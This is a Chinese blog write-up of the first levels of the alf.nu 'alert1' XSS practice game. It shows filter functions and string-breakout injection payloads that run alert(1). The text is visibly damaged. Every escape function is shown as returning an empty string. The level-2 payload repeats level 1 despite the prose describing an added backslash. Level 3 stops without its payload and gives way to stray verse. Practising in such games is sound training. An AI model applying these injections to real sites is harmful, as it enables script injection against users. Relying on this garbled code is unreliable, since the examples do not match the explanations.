xss闯关小游戏
0x00#
今天玩了一个XSS的练习闯关游戏,把自己的思路分享在这里。
平台链接:https://alf.nu/alert1
0x01#
function escape(s) {
return '';
}
这里没什么好说的,直接加双引号和括号绕过即可:
");alert(1);//
注意利用注释,防止JavaScript出现错误。
0x02#
function escape(s) {
s = s.replace(/"/g, '\"');
return '';
}
此处代码利用正则,将双引号加上反斜杠进行转义,也不难突破,只需多加一个反斜杠,让转义的反斜杠失去作用即可:
");alert(1);//
0x03#
function escape(s) {
s = JSON.stringify(s);
return '';
}
JSON.stringify()会将对象或数组转换为一个JSON字符串,这就意味着上一次运用的反斜杠转义彻底失效了。但是我们可以直接闭合前一个script标签,然后重新构造script标签:
敬属江上雨,寒舟里,我独饮。

浙公网安备 33010602011771号